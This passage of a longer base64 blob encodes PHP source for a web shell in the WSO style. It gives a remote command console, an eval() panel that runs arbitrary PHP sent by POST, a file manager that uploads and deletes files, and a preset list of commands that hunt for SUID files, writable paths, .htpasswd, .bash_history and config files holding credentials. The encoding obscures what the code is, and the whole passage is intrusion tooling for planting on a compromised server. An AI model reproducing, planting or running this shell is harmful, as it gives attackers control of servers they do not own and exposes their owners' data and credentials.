CR0aW1lKSkNCgkJCQkJCWVjaG8gJ0ZhaWwhJzsNCgkJCQkJZWxzZQ0KCQkJCQkJZWNobyAnVG91Y2hlZCEnOw0KCQkJCX0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsNCgkJCX0NCgkJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCQllY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQkvKiAo0KEpIDEyLjIwMTUgbWl0cnl6ICovDQoJCWNhc2UgJ2ZyYW1lJzoNCgkJCSRmcmFtZVNyYyA9IHN1YnN0cihodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSksIHN0cmxlbihodG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pKSk7DQoJCQlpZiAoJGZyYW1lU3JjWzBdICE9ICcvJykNCgkJCQkkZnJhbWVTcmMgPSAnLycgLiAkZnJhbWVTcmM7DQoJCQlpZiAoJGZyYW1lU3JjW3N0cmxlbigkZnJhbWVTcmMpIC0gMV0gIT0gJy8nKQ0KCQkJCSRmcmFtZVNyYyA9ICRmcmFtZVNyYyAuICcvJzsNCgkJCSRmcmFtZVNyYyA9ICRmcmFtZVNyYyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTsNCgkJCWVjaG8gJzxpZnJhbWUgd2lkdGg9IjEwMCUiIGhlaWdodD0iOTAwcHgiIHNjcm9sbGluZz0ibm8iIHNyYz0nLiRmcmFtZVNyYy4nIG9ubG9hZD0ib25sb2FkPWhlaWdodD1jb250ZW50RG9jdW1lbnQuYm9keS5zY3JvbGxIZWlnaHQiPjwvaWZyYW1lPic7DQoJCQlicmVhazsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgloYXJkRm9vdGVyKCk7DQp9DQppZigkb3MgPT0gJ3dpbicpDQoJJGFsaWFzZXMgPSBhcnJheSgNCgkJIkxpc3QgRGlyZWN0b3J5IiA9PiAiZGlyIiwNCiAgICAJIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsDQogICAgCSJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLA0KICAgIAkiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsDQogICAgCSJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLA0KICAgIAkiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwNCiAgICAJIlNob3cgY29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLA0KCQkiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwNCgkJIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIg0KCSk7DQplbHNlDQoJJGFsaWFzZXMgPSBhcnJheSgNCiAgCQkiTGlzdCBkaXIiID0+ICJscyAtbGhhIiwNCgkJImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsDQogIAkJInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsDQogICAgICAgICJwcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsDQoJCSJGaW5kIiA9PiAiIiwNCiAgCQkiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLA0KICAJCSJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgCQkiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLA0KICAJCSJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwNCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAJCSJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsDQogIAkJImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsDQogIAkJImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsDQogIAkJImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLA0KICAJCSJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLA0KICAJCSJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsDQogIAkJImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwNCiAgCQkiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogIAkJImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQogIAkJImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwNCgkJIkxvY2F0ZSIgPT4gIiIsDQogIAkJImxvY2F0ZSBodHRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLA0KCQkibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwNCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHJvZnRwZC5jb25mIiwNCgkJImxvY2F0ZSBwc3libmMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsDQoJCSJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwNCgkJImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLA0KCQkibG9jYXRlIGNmZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY2ZnLnBocCIsDQoJCSJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLA0KCQkibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsDQoJCSJsb2NhdGUgY29uZmlnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLA0KCQkibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwNCgkJImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLA0KCQkibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwNCgkJImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsDQoJCSJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLA0KCQkibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsDQoJCSJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2hfaGlzdG9yeSciLA0KCQkibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLA0KCQkibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsDQoJCSJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsDQoJCSJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwNCgkJImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiDQoJKTsNCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0JywgdHJ1ZSk7DQogICAgICAgICRfUE9TVFsncDEnXSAuPSAnIDI+JjEnOw0KICAgIH0gZWxzZWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICBwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCAwKTsNCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCgkJcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgdHJ1ZSk7DQoJCW9iX3N0YXJ0KCk7DQoJCWVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsNCgkJJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcJ1wwIikpOw0KCQlpZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpCXsNCgkJCWlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7DQoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOw0KCQkJCWVjaG8gImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KCQkJfQ0KCQl9DQoJCWVjaG8gImQuY2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOw0KCQllY2hvICJkLmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkLmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsNCgkJJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsNCgkJZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCgkJZXhpdDsNCgl9DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7DQoJaGFyZEhlYWRlcigpOw0KICAgIGVjaG8gIjxzY3JpcHQ+DQppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOw0KdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOw0KdmFyIGN1ciA9IDA7DQpmdW5jdGlvbiBrcChlKSB7DQoJdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7DQoJaWYobiA9PSAzOCkgew0KCQljdXItLTsNCgkJaWYoY3VyPj0wKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQljdXIrKzsNCgl9IGVsc2UgaWYobiA9PSA0MCkgew0KCQljdXIrKzsNCgkJaWYoY3VyIDwgY21kcy5sZW5ndGgpDQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQoJCWVsc2UNCgkJCWN1ci0tOw0KCX0NCn0NCmZ1bmN0aW9uIGFkZChjbWQpIHsNCgljbWRzLnBvcCgpOw0KCWNtZHMucHVzaChjbWQpOw0KCWNtZHMucHVzaCgnJyk7DQoJY3VyID0gY21kcy5sZW5ndGgtMTsNCn0NCjwvc2NyaXB0PiI7DQoJZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxsYWJlbD48c2VsZWN0IG5hbWU9YWxpYXM+JzsNCglmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsNCgkJaWYoJHYgPT0gJycpIHsNCgkJCWVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsNCgkJCWNvbnRpbnVlOw0KCQl9DQoJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsNCgl9DQoJDQoJZWNobyAnPC9zZWxlY3Q+PC9sYWJlbD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMudmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9InN1Ym1pdCI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW4tdG9wOjVweDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSk7DQoJfQ0KCWVjaG8gJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwNjBhMTA7YmFja2dyb3VuZC1jb2xvcjojMDYwYTEwO2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHN0eWxlPSJwYWRkaW5nLWxlZnQ6NHB4OyB3aWR0aDoxM3B4OyI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsNCgllY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQoJaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgew0KCWlmKCBpc3NldCgkX1BPU1RbJ2FqYXgnXSkgKSB7DQoJCSRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOw0KCQlvYl9zdGFydCgpOw0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0OyANCgl9DQoJaGFyZEhlYWRlcigpOw0KCWlmKCBpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSApIHsNCgkJZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCgkJb2Jfc3RhcnQoKTsNCgkJcGhwaW5mbygpOw0KCQkkdG1wID0gb2JfZ2V0X2NsZWFuKCk7DQoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5IHsuKn0hbXNpVScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyFhOlx3KyB7Lip9IW1zaVUnLCcnLCR0bXApOw0KCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchaDEhbXNpVScsJ2gyJywkdG1wKTsNCgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchYm9keSwgdGQsIHRoLCBoMiwgaDIgey4qfSFtc2lVJywnJywkdG1wKTsNCgkJZWNobyAkdG1wOw0KCQllY2hvICc8L2Rpdj48YnI+JzsNCgl9DQoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KCQllY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsNCgllY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCgl9DQoJZWNobyAnPC9wcmU+PC9kaXY+JzsNCgloYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsNCiAgICBpZiAoIWVtcHR5ICgkX0NPT0tJRVsnZiddKSkNCiAgICAgICAgJF9DT09LSUVbJ2YnXSA9IEB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnZiddKTsNCiAgICANCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQlzd2l0Y2goJF9QT1NUWydwMSddKSB7DQoJCQljYXNlICd1cGxvYWRGaWxlJzoNCgkJCQlpZiAoIGlzX2FycmF5KCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSkgKSB7DQoJCQkJCWZvcmVhY2ggKCAkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10gYXMgJGkgPT4gJHRtcE5hbWUgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wTmFtZSwgJF9GSUxFU1snZiddWyduYW1lJ11bJGldKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnbWtkaXInOg0KCQkJCWlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkNCgkJCQkJZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnZGVsZXRlJzoNCgkJCQlmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsNCgkJCQkJJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsNCgkJCQkJJGRoICA9IG9wZW5kaXIoJHBhdGgpOw0KCQkJCQl3aGlsZSAoICgk4pafID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7DQoJCQkJCQkk4pafID0gJHBhdGguJOKWnzsNCgkJCQkJCWlmICggKGJhc2VuYW1lKCTilp8pID09ICIuLiIpIHx8IChiYXNlbmFtZSgk4pafKSA9PSAiLiIpICkNCgkJCQkJCQljb250aW51ZTsNCgkJCQkJCSR0eXBlID0gZmlsZXR5cGUoJOKWnyk7DQoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpDQoJCQkJCQkJZGVsZXRlRGlyKCTilp8pOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJOKWnyk7DQoJCQkJCX0NCgkJCQkJY2xvc2VkaXIoJGRoKTsNCgkJCQkJQHJtZGlyKCRwYXRoKTsNCgkJCQl9DQoJCQkJaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkNCgkJCQkJZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCgkJCQkJCSRmID0gdXJsZGVjb2RlKCRmKTsNCgkJCQkJCWlmKGlzX2RpcigkZikpDQoJCQkJCQkJZGVsZXRlRGlyKCRmKTsNCgkJCQkJCWVsc2UNCgkJCQkJCQlAdW5saW5rKCRmKTsNCgkJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJY2FzZSAncGFzdGUnOg0KCQkJCWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnY29weScpIHsNCgkJCQkJZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpDQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpDQoJCQkJCQljb3B5X3Bhc3RlKCRfQ09PS0lFWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICdtb3ZlJykgew0KCQkJCQlmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsNCgkJCQkJCWlmKGlzX2RpcigkYy4kcykpew0KCQkJCQkJCW1rZGlyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsNCgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQoJCQkJCQkJCWlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IGVsc2VpZihAaXNfZmlsZSgkYy4kcykpDQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpDQoJCQkJCQlAcmVuYW1lKCRfQ09PS0lFWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnKSB7DQoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsncDInXSwgMSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsNCiAgICAgICAgI